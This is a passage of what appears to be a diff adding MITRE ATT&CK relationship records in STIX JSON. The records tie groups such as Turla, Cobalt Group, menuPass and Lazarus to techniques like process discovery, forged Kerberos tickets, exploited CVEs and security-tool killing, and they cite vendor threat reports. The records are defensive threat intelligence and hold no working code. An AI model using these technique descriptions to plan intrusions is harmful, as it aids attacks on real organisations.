"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.048Z", + "id": "relationship--a5015a35-a6a2-4289-8d79-79b583c23e63", + "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd", + "modified": "2019-03-22T18:44:28.659Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "description": "Based on comparison of [Gazer](https://attack.mitre.org/software/S0168) versions, [Turla](https://attack.mitre.org/groups/G0010) made an effort to obfuscate strings in the malware that could be used as IoCs, including the mutex name and named pipe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--fe9c9381-99d7-4798-ab41-3e5cdbda5e21", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.978Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) stages data prior to exfiltration in multi-part archives, often saved in the Recycle Bin.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bbd29878-c16a-45ee-9785-78550f080d83", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.761Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) collects the OS name, machine name, and architecture information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--eade28d3-c5ce-453e-8e57-3262167c30be", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[Proton](https://attack.mitre.org/software/S0279) kills security tools like Wireshark that are running.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f298e191-bb50-48b2-ba3c-d432af8ec457", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "modified": "2019-06-24T19:03:52.718Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[JPIN](https://attack.mitre.org/software/S0201)'s installer/uninstaller component deletes itself if it encounters a version of Windows earlier than Windows XP or identifies security-related processes running.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--31bd2260-ef8d-4f69-a7a8-9388e0d721c9", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) had exploited multiple vulnerabilities for execution, including Microsoft\u2019s Equation Editor (CVE-2017-11882), an Internet Explorer vulnerability (CVE-2018-8174), CVE-2017-8570, CVE-2017-0199, and CVE-2017-8759.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7ec2b835-9c82-4a0a-9730-5f4b87e233f4", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.949Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Proofpoint Cobalt June 2017", + "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target" + }, + { + "source_name": "RiskIQ Cobalt Nov 2017", + "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-strike/" + }, + { + "source_name": "RiskIQ Cobalt Jan 2018", + "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/" + }, + { + "source_name": "Crowdstrike Global Threat Report Feb 2018", + "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.", + "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report" + }, + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[dsquery](https://attack.mitre.org/software/S0105) can be used to gather information on user accounts within a domain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--44259d7d-e156-4e09-a401-ff62f0706cdd", + "source_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe", + "modified": "2019-04-25T00:08:30.189Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Dsquery. Retrieved April 18, 2016.", + "source_name": "TechNet Dsquery", + "url": "https://technet.microsoft.com/en-us/library/cc732952.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used the Plink utility to tunnel RDP back to C2 infrastructure.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e4c23aa3-edf1-4f6e-ae86-f709d7c306ee", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.761Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d5599a7e-d6a4-4de7-918a-84c3972c21ef", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.565Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) ran a command to compile an archive of file types of interest from the victim user's directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.062Z", + "id": "relationship--aec0a948-428f-4327-b466-a0472da12928", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.273Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Helminth](https://attack.mitre.org/software/S0170) encrypts data sent to its C2 server over HTTP with RC4.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2d8cdbf3-1be2-4e64-ba18-f8b65fcbae8f", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) uses services.exe to register a new autostart service named \"Audit Service\" using a copy of the local lsass.exe file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--91ca1017-0b33-4fa1-a61f-b3dae24c7e40", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + }, + { + "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.", + "source_name": "Microsoft Wingbird Nov 2017", + "url": "https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover running processes using the tasklist /v command. [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also enumerated processes associated with specific open ports or named pipes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.044Z", + "id": "relationship--9dfb7899-20af-4eea-bfca-f608d885cb00", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.995Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Socksbot](https://attack.mitre.org/software/S0273) creates a suspended svchost process and injects its DLL into it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3a0c38e8-c174-4c86-a229-fcb4965ce311", + "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Calisto](https://attack.mitre.org/software/S0274) has the capability to upload and download files to the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--406257ac-ff42-4e15-b72e-50202e38b675", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "source_name": "Symantec Calisto July 2018", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.023Z", + "id": "relationship--0bc1693e-d481-46d7-bd62-3ed6884986d2", + "source_ref": "course-of-action--aaa92b37-f96c-4a0a-859c-b1cb6faeb13d", + "modified": "2019-07-24T19:33:34.064Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has created forged Kerberos Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS) tickets to maintain administrative access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--eb91c7d8-2cfb-4d8b-905a-d146bc8178e2", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.373Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--99800503-d535-4fae-a318-dfa034dca663", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.891Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families gather a list of running processes on a victim system and send it to their C2 server. A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) also gathers process times.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.067Z", + "id": "relationship--699ddfef-6e95-42cf-b212-dc661f790adc", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.453Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + }, + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "source_name": "McAfee GhostSecret", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used RDP connections to move across the victim network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bd78bfa6-f30e-4429-ac06-0039d553a69d", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.781Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + }, + { + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "source_name": "DOJ APT10 Dec 2018", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.048Z", + "id": "relationship--a18071ad-fe4f-4014-ad9a-1b0a66df3eab", + "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd", + "modified": "2019-03-22T18:44:28.657Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--696a01b4-e052-4355-a09b-ff1e46d452b4", + "source_ref": "course-of-action--4490fee2-5c70-4db3-8db5-8d88767dbd55", + "modified": "2019-07-24T14:22:58.031Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has intentionally deleted computer files to cover their tracks, including with use of the program CCleaner.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5ea36f9f-f5b6-4494-be0a-061058d6b1f1", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.699Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command after exploiting a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to acquire information about local networks: ipconfig /all >> %temp%\\download", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.052Z", + "id": "relationship--1b141c9e-a679-40c7-ad7b-ac40ac586471", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.570Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used several different keyloggers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--8ba987a9-3a03-4996-8fb7-80f34a35f406", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "modified": "2019-05-10T12:14:32.202Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--64175a23-67fa-4fa6-8aa6-890c9dc3d5d8", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.692Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HARDRAIN March 2018", + "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d06420fb-1c4d-4a4e-b18e-4c0750310606", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.702Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], 